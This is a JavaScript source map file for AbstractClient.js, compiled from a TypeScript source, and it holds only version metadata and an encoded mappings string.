- {"version":3,"file":"AbstractClient.js","sourceRoot":"","sources":["../src/AbstractClient.tsx"],"names":[],"mappings":"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"}